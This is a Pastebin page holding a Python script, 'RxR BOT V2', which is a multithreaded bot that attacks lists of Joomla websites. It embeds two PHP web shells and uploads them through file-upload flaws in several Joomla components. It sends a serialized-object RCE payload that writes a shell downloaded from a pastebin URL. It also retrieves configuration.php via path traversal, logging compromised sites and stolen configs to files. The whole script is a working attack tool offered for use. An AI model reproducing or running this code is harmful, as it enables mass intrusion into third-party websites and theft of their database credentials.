Advertisement
Jemb0t_IR3eng

RxR BOT V2

Jun 19th, 2019
1,120
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 15.08 KB | None | 0 0
  1. import requests, sys, os, re
  2. from multiprocessing import Pool
  3. from multiprocessing.dummy import Pool as ThreadPool
  4. from time import time as timer
  5. from platform import system
  6. from colorama import Fore                              
  7. from colorama import Style                             
  8. from pprint import pprint                              
  9. from colorama import init                                              
  10. init(autoreset=True)                                       
  11. import time
  12. ####### Colors   ######
  13.    
  14. fr  =   Fore.RED                                           
  15. fc  =   Fore.CYAN                                          
  16. fw  =   Fore.WHITE                                         
  17. fg  =   Fore.GREEN                                         
  18. sd  =   Style.DIM                                          
  19. sn  =   Style.NORMAL                                       
  20. sb  =   Style.BRIGHT                                       
  21.  
  22. #######################
  23. # Coder By RxR HaCkEr #
  24. #######################
  25.  
  26. shell = """ <?php echo 'RxR HaCkEr_Ye'.'<br>'.'Uname:'.php_uname().'<br>'.$cwd = getcwd(); Echo '<center>  <form method="post" target="_self" enctype="multipart/form-data">  <input type="file" size="20" name="uploads" /> <input type="submit" value="upload" />  </form>  </center></td></tr> </table><br>'; if (!empty ($_FILES['uploads'])) {     move_uploaded_file($_FILES['uploads']['tmp_name'],$_FILES['uploads']['name']);     Echo "<script>alert('upload Done');       </script><b>Uploaded !!!</b><br>name : ".$_FILES['uploads']['name']."<br>size : ".$_FILES['uploads']['size']."<br>type : ".$_FILES['uploads']['type']; } ?>"""
  27. shell_2 = """<?php
  28. // name of the file is: i (it has no extension)
  29. error_reporting(0);
  30. $Ye = "_Ye";
  31. if(isset($_GET["rxr"]))
  32.     {
  33.         echo"RxR HaCkEr{$Ye} <font color=#000FFF>[uname]".php_uname()."[/uname]";echo "<br>";print "\n";if(@ini_get("disable_functions")){echo "DisablePHP=".@ini_get("disable_functions");}else{ echo "Disable PHP = NONE";}echo "<br>";print "\n";if(@ini_get("safe_mode")){echo "Safe Mode = ON";}else{ echo "Safe Mode = OFF";} echo "<br>";print "\n";echo"<form method=post enctype=multipart/form-data>";echo"<input type=file name=f><input name=v type=submit id=v value=up><br>";if($_POST["v"]==up){if(@copy($_FILES["f"]["tmp_name"],$_FILES["f"]["name"])){echo"<b>berhasil</b>-->".$_FILES["f"]["name"];}else{echo"<b>gagal";}} }
  34.  
  35. echo 'uname:'.php_uname()."\n";
  36. echo getcwd() . "\n";
  37.  
  38. ?>"""
  39.  
  40.  
  41. shell_name = str(time.time())[:-3]
  42. filename = "RxR_"+shell_name+".php"
  43.  
  44. start_raw = raw_input('Your List Please : ')
  45. try:
  46.     with open(start_raw, 'r') as f:
  47.         woh = f.read().splitlines()
  48. except IOError:
  49.     pass
  50. woh = list((woh))
  51.  
  52.  
  53.  
  54.  
  55. class Master:
  56.    
  57.    
  58.     def __init__(self):
  59.    
  60.         if system() == 'Linux':
  61.             os.system('clear')
  62.         if system() == 'Windows':
  63.             os.system('cls')
  64.        
  65.             banner = """{}{} \n \n
  66.  
  67.  
  68.  
  69.        
  70.             ______       ______   _   _         _____  _     _____          
  71.             | ___ \     | ___ \ | | | |       /  __ \| |   |  ___|        
  72.             | |_/ /__  __| |_/ / | |_| |  __ _ | /  \/| | __| |__  _ __  
  73.             |    / \ \/ /|    /  |  _  | / _` || |    | |/ /|  __|| '__|  
  74.             | |\ \ >  < | |\ \ | | | || (_| || \__/\|   < | |___| |    
  75.             \_| \_|/_/\_\\_| \_| \_| |_/ \__,_| \____/|_|\_\\____/|_|      
  76.          
  77.                     Coded By RxR HaCkEr
  78.                        Skype:a.789a
  79.                          
  80.                          
  81.                                            
  82.            
  83.            
  84.  
  85.                 \n""".format(fc, sb)
  86.        
  87.             print banner
  88.    
  89.    
  90.    
  91.     # def com_foxcontact(self, url):
  92.    
  93.         # try:
  94.            
  95.            
  96.             # check_fox = requests.get(url+'/index.php?option=com_foxcontact&amp;view=invalid')
  97.            
  98.             # if 'com_foxcontact' in check_fox.content:
  99.                 # print '{}[+]:{} {}    ====> {}{}  CoM_Foxcontact   {}{} Vuln  '.format(sb, sd, url, fc,fc, sb,fg)
  100.                
  101.  
  102.                 # cids = re.findall('foxcontact&amp;Itemid=(.*?)" >',check_fox.content)
  103.                
  104.                 # for cid in cids:
  105.                     # cid = str(cid)
  106.                    
  107.                     # blackb0x = ["/components/com_foxcontact/lib/file-uploader.php?cid={}&mid={}&qqfile=/../../{}".format(cid, cid, filename), "/index.php?option=com_foxcontact&view=loader&type=uploader&owner=component&id={}?cid={}&mid={}&qqfile=/../../{}".format(cid, cid, cid, filename), "/index.php?option=com_foxcontact&amp;view=loader&amp;type=uploader&amp;owner=module&amp;id={}&cid={}&mid={}&owner=module&id={}&qqfile=/../../{}".format(cid, cid, cid, cid, filename), "/components/com_foxcontact/lib/uploader.php?cid={}&mid={}&qqfile=/../../{}".format(cid, cid, filename)]
  108.                    
  109.                     # ids = 0
  110.                     # for b0x in blackb0x:
  111.                         # ids += 1
  112.                         # vuln_urls = url + b0x
  113.                    
  114.                         # req_fox = requests.post(vuln_urls, data=shell)
  115.                        
  116.                         # print( "\n[!] exploiting in {}...".format(ids))
  117.                        
  118.                         # check_shells = requests.get(url+'/components/com_foxcontact/'+filename)
  119.                        
  120.                         # if 'RxR HaCkEr_Ye' in check_shells:
  121.                             # print '{}[Target]: {} {}    ====> {}{} rce   {}{} eXploiting Done  {} '.format(sb, sd, url, fc,fc, sb,fg, ids)
  122.                            
  123.                         # else:
  124.                             # print '{}[Target]: {} {}   ====> {}{}  CoM_Foxcontact  {}{} Failed  '.format(sb, sd, url, fc,fc, sb,fr)
  125.    
  126.    
  127.             # else:
  128.                 # print '{}[Target]: {} {}   ====> {}{}  CoM_Foxcontact  {}{} Failed  '.format(sb, sd, url, fc,fc, sb,fr)
  129.        
  130.        
  131.         # except:
  132.             # pass
  133.    
  134.     def com_rce(self,url):
  135.    
  136.    
  137.         try:
  138.        
  139.        
  140.             pl = generate_payload("fwrite(fopen($_SERVER['DOCUMENT_ROOT'].'/rxr.php','w+'),file_get_contents('https://pastebin.com/raw/KfhBrjRb'));")
  141.            
  142.             rce_url(url,pl)
  143.            
  144.             req_rce = requests.get(url+'/rxr.php?rxr')
  145.            
  146.             if 'RxR HaCkEr_Ye' in req_rce.content:
  147.            
  148.                 print '{}[Target]: {} {}    ====> {}{} rce   {}{} eXploiting Done  '.format(sb, sd, url, fc,fc, sb,fg)
  149.                 open('shells.txt', 'a').write(url+'/rxr.php?rxr'+'\n')
  150.        
  151.        
  152.             else:
  153.            
  154.                 print '{}[Target]: {} {}   ====> {}{}  rce  {}{} Failed  '.format(sb, sd, url, fc,fc, sb,fr)
  155.        
  156.         except:
  157.             pass
  158.            
  159.            
  160.            
  161.     def com_jdownloads(self, url):
  162.    
  163.    
  164.    
  165.         try:
  166.        
  167.            
  168.             filename1 = "rxrking.php3.g"
  169.            
  170.            
  171.             com_jd_up = { 'file_upload':(filename1, shell_2, 'text/html'), 'pic_upload':(filename1, shell_2, 'text/html')}
  172.  
  173.             com_jd_dat = { 'name': 'yc-waif', 'mail': '[email protected]', 'catlist': '1', 'filetitle': "lolz",
  174.                      'description': "<p>zot</p>" , '2d1a8f3bd0b5cf542e9312d74fc9766f': 1, 'send': 1, 'senden': "Send file",
  175.                      'description': "<p>newsking</p>", 'option': "com_jdownloads", 'view': "upload" }
  176.            
  177.            
  178.             req_jd = requests.post(url+'/index.php?option=com_jdownloads&Itemid=0&view=upload', data=com_jd_dat, files=com_jd_up)
  179.            
  180.            
  181.             shell_jd = requests.get(url+'/images/jdownloads/screenshots/rxrking.php3.g?rxr')
  182.        
  183.             if 'RxR HaCkEr_Ye' in shell_jd.content:
  184.                
  185.                 print '{}[Target]: {} {}    ====> {}{} com_jdownloads   {}{} eXploiting Done  '.format(sb, sd, url, fc,fc, sb,fg)
  186.                 open('shells.txt', 'a').write(url+'/images/jdownloads/screenshots/rxrking.php3.g?rxr'+'\n')
  187.                
  188.             else:
  189.                 print '{}[Target]: {} {}   ====> {}{}  com_jdownloads  {}{} Failed  '.format(sb, sd, url, fc,fc, sb,fr)
  190.        
  191.        
  192.        
  193.        
  194.         except:
  195.             pass
  196.            
  197.            
  198.        
  199.     def com_jbcatalog(self, url):
  200.        
  201.         try:
  202.            
  203.  
  204.            
  205.            
  206.             check_jbcatalog = requests.get(url+'/components/com_jbcatalog/libraries/jsupload/')
  207.  
  208.             if 'jQuery File' in check_jbcatalog.content:
  209.            
  210.                 print '{}[+]:{} {}    ====> {}{}  CoM_jbcatalog   {}{} Vuln  '.format(sb, sd, url, fc,fc, sb,fg)
  211.                
  212.                 com_jbcatalog = {'files[]':(filename, shell, 'text/html')}
  213.                
  214.                
  215.                 req_jbcatalog = requests.post(url+'/components/com_jbcatalog/libraries/jsupload/server/php/', files=com_jbcatalog)
  216.                
  217.                
  218.                 Shell_jbcatalog = requests.get(url+'/com_jbcatalog/libraries/jsupload/server/php/files/'+str(filename))
  219.                
  220.                 if 'RxR HaCkEr_Ye' in Shell_jbcatalog.content:
  221.                     print '{}[Target]: {} {}    ====> {}{}  CoM_jbcatalog   {}{} eXploiting Done  '.format(sb, sd, url, fc,fc, sb,fg)
  222.                     open('Shells.txt', 'a').write(url+'/com_jbcatalog/libraries/jsupload/server/php/files/'+str(filename)+'\n')
  223.                    
  224.                    
  225.                 else:
  226.                     print '{}[Target]: {} {}   ====> {}{}  CoM_jbcatalog  {}{} Failed  '.format(sb, sd, url, fc,fc, sb,fr)
  227.                    
  228.                    
  229.                    
  230.             else:
  231.                 print '{}[Target]: {} {}   ====> {}{}  CoM_jbcatalog  {}{} Failed  '.format(sb, sd, url, fc,fc, sb,fr)
  232.                
  233.         except:
  234.             pass
  235.            
  236.            
  237.     def com_fabrik(self, url):
  238.    
  239.        
  240.         try:
  241.  
  242.        
  243.             check_fabrik = requests.get(url+'/index.php?option=com_fabrik&format=raw&task=plugin.pluginAjax&plugin=fileupload&method=ajax_upload')
  244.            
  245.            
  246.             if 'filepath":' in check_fabrik.content:
  247.            
  248.                 print '{}[+]:{} {}    ====> {}{}  CoM_fabrik   {}{} Vuln  '.format(sb, sd, url, fc,fc, sb,fg)
  249.                
  250.                 com_fabrik = {'file':(filename, shell, 'text/html')}
  251.                
  252.                
  253.                 req_fabrik = requests.post(url+'/index.php?option=com_fabrik&format=raw&task=plugin.pluginAjax&plugin=fileupload&method=ajax_upload', files=com_fabrik)
  254.                
  255.                 Shell_fabrik = requests.get(url+'/'+str(filename))
  256.                
  257.                 if 'RxR HaCkEr_Ye' in Shell_fabrik.content:        
  258.                     print '{}[Target]: {} {}   ====> {}{}  CoM_fabrik   {}{} eXploiting Done  '.format(sb, sd, url, fc,fc, sb,fg)
  259.                     open('Shells.txt', 'a').write(url+'/'+str(filename)+'\n')
  260.                    
  261.                    
  262.                 else:
  263.                     print '{}[Target]: {} {}   ====> {}{}  CoM_fabrik  {}{} Failed  '.format(sb, sd, url, fc,fc, sb,fr)
  264.                    
  265.            
  266.            
  267.            
  268.             else:
  269.                 print '{}[Target]: {} {}   ====> {}{}  CoM_fabrik  {}{} Failed  '.format(sb, sd, url, fc,fc, sb,fr)
  270.        
  271.         except:
  272.             pass
  273.        
  274.        
  275.     def com_b2jcontact(self, url):
  276.    
  277.         try:
  278.             vuln_url = url+'/index.php?option=com_b2jcontact&view=loader&type=uploader&owner=component&bid=1&qqfile=/../../../'+filename
  279.            
  280.             req_b2j = requests.post(vuln_url, data=shell)
  281.            
  282.            
  283.             check_lib = requests.get(url+'/components/'+filename)
  284.            
  285.             if 'RxR HaCkEr_Ye' in check_lib.content:           
  286.                 print '{}[Target]: {} {}    ====> {}{}  CoM_b2j   {}{} eXploiting Done  '.format(sb, sd, url, fc,fc, sb,fg)
  287.                 open('Shells.txt', 'a').write(url+'/components/'+filename+'\n')
  288.                        
  289.                        
  290.             else:
  291.                 print '{}[Target]: {} {}   ====> {}{}  CoM_b2j  {}{} Failed  '.format(sb, sd, url, fc,fc, sb,fr)
  292.                        
  293.         except:
  294.             pass
  295.        
  296.     def com_adsmanager(self, url):
  297.        
  298.         try:
  299.             check_adsm = requests.get(url+'/index.php?option=com_adsmanager&task=upload&tmpl=component')
  300.            
  301.             if '{"jsonrpc" : "2.0",' in check_adsm.content:
  302.            
  303.                 print '{}[+]: {} {}   ====> {}{}  CoM_adsmanager   {}{} Vuln  '.format(sb, sd, url, fc,fc, sb,fg)
  304.                
  305.                
  306.                 imageshell = "rxr.jpg"
  307.                
  308.                 com_adsm = {'file':(imageshell, shell), 'name':filename}
  309.                
  310.                
  311.                 req_adsm = requests.post(url+'/index.php?option=com_adsmanager&task=upload&tmpl=component', data=com_adsm)
  312.                
  313.                 check_shell = requests.get(url+"/tmp/plupload/"+filename)
  314.                
  315.                 if 'RxR HaCkEr_Ye' in check_shell.content:
  316.                
  317.                     print '{}[Target]: {} {}   ====> {}{}  CoM_adsmanager   {}{} eXploiting Done  '.format(sb, sd, url, fc,fc, sb,fg)
  318.                     open('Shells.txt', 'a').write(url+"/tmp/plupload/"+filename+'\n')
  319.                
  320.                 else:
  321.                     print '{}[Target]: {} {}   ====> {}{}  CoM_adsmanager  {}{} Failed  '.format(sb, sd, url, fc,fc, sb,fr)
  322.             else:      
  323.                 print '{}[Target]: {} {}   ====> {}{}  CoM_adsmanager  {}{} Failed  '.format(sb, sd, url, fc,fc, sb,fr)
  324.            
  325.         except:
  326.             pass
  327.        
  328.        
  329.    
  330.    
  331.        
  332.        
  333.     def com_myblog(self, url):
  334.        
  335.         try:
  336.            
  337.  
  338.            
  339.             check_myblog = requests.get(url+'/index.php?option=com_myblog&task=ajaxupload')
  340.            
  341.             if "{error: 'No file" in check_myblog.content:
  342.            
  343.                 print '{}[+]: {} {}   ====> {}{}  CoM_myblog  {}{} Vuln  '.format(sb, sd, url, fc,fc, sb,fg)
  344.                
  345.                 image_myblog = "rxr.php.xxxjpg"
  346.                
  347.                 com_myb = {'fileToUpload':(image_myblog, shell)}
  348.                
  349.                 req_myblog = requests.post(url+'/index.php?option=com_myblog&task=ajaxupload', files=com_myb)
  350.                
  351.                 shell_path = re.findall("source: '(.*?)'",req_myblog.content)
  352.                
  353.                
  354.                 site = shell_path[0]
  355.                
  356.            
  357.                 check_shell = requests.get(site)
  358.                
  359.                
  360.                 if 'RxR HaCkEr_Ye' in check_shell.content:
  361.                     print '{}[Target]: {} {}   ====> {}{}  CoM_myblog   {}{} eXploiting Done  '.format(sb, sd, url, fc,fc, sb,fg)
  362.                     open('Shells.txt', 'a').write(site+'\n')
  363.                    
  364.                 else:
  365.                     print '{}[Target]: {} {}   ====> {}{}  CoM_myblog  {}{} Failed  '.format(sb, sd, url, fc,fc, sb,fr)
  366.                    
  367.                
  368.             else:
  369.                 print '{}[Target]: {} {}   ====> {}{}  CoM_myblog  {}{} Failed  '.format(sb, sd, url, fc,fc, sb,fr)
  370.    
  371.         except:
  372.             pass
  373.    
  374.    
  375.     def com_configs(self, url, path, line):
  376.        
  377.        
  378.         try:
  379.             req_download = requests.get(url+path)
  380.            
  381.             if 'class JConfig' in req_download.content:
  382.                 print '{}[Target]: {} {}    ====> {}{}  Com_configs   {}{} eXploiting Done  {} '.format(sb, sd, url, fc,fc, sb,fg, line)
  383.                 open('configs.txt', 'a').write(url+path+'\n')
  384.            
  385.             else:
  386.                 print '{}[Target]: {} {}   ====> {}{}  Com_configs  ({}) {}{} Failed  '.format(sb, sd, url, fc,fc, line, sb,fr)
  387.        
  388.         except:
  389.             pass
  390.            
  391.    
  392.  
  393. def rce_url(url, user_agent):
  394.    
  395.     try:
  396.         headers = {
  397.         'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 5_0 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A334 Safari/7534.48.3',
  398.         'x-forwarded-for': user_agent  
  399.         }
  400.         cookies = requests.get(url,headers=headers).cookies
  401.         for _ in range(3):
  402.             response = requests.get(url, headers=headers,cookies=cookies)    
  403.         return response
  404.        
  405.     except:
  406.         pass
  407.  
  408. def php_str_noquotes(data):
  409.     try:
  410.    
  411.         "Convert string to chr(xx).chr(xx) for use in php"
  412.         encoded = ""
  413.         for char in data:
  414.             encoded += "chr({0}).".format(ord(char))
  415.      
  416.         return encoded[:-1]
  417.        
  418.     except:
  419.         pass
  420.      
  421.  
  422. def generate_payload(php_payload):
  423.    
  424.     try:
  425.    
  426.         php_payload = "eval({0})".format(php_str_noquotes(php_payload))
  427.      
  428.         terminate = '\xf0\xfd\xfd\xfd';
  429.         exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
  430.         injected_payload = "{};JFactory::getConfig();exit".format(php_payload)    
  431.         exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)
  432.         exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate
  433.      
  434.         return exploit_template
  435.        
  436.     except:
  437.         pass
  438.  
  439.  
  440. BotMaster = Master()
  441.  
  442.        
  443. def MyLove(url):
  444.    
  445.     try:
  446.        
  447.         url.replace('http://', '').replace('http://', '')
  448.         site = 'http://'+url
  449.         #BotMaster.com_foxcontact(url)
  450.         BotMaster.com_rce(site)
  451.         BotMaster.com_jdownloads(site)
  452.         BotMaster.com_jbcatalog(site)
  453.         BotMaster.com_b2jcontact(site)
  454.         BotMaster.com_fabrik(site)
  455.         BotMaster.com_adsmanager(site)
  456.         BotMaster.com_myblog(site)
  457.        
  458.         pathcfg = {'/index.php?option=com_jtagmembersdirectory&task=attachment&download_file=/../../../../configuration.php', '/index.php?option=com_joomanager&controller=details&task=download&path=configuration.php','/components/com_hdflvplayer/hdflvplayer/download.php?f=../../../configuration.php','/index.php?option=com_macgallery&view=download&albumid=../../configuration.php', '/index.php?option=com_facegallery&task=imageDownload&img_name=../../configuration.php'}
  459.        
  460.         lines = 0
  461.         for i in pathcfg:
  462.             lines += 1
  463.             BotMaster.com_configs(site,i, lines)
  464.     except:
  465.         pass
  466.        
  467. def Main():
  468.     try:
  469.         start = timer()
  470.         pp = ThreadPool(20)
  471.         pr = pp.map(MyLove, woh)
  472.         print('Time: ' + str(timer() - start) + ' seconds')
  473.     except:
  474.         pass
  475.  
  476.  
  477. if __name__ == '__main__':
  478.     Main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement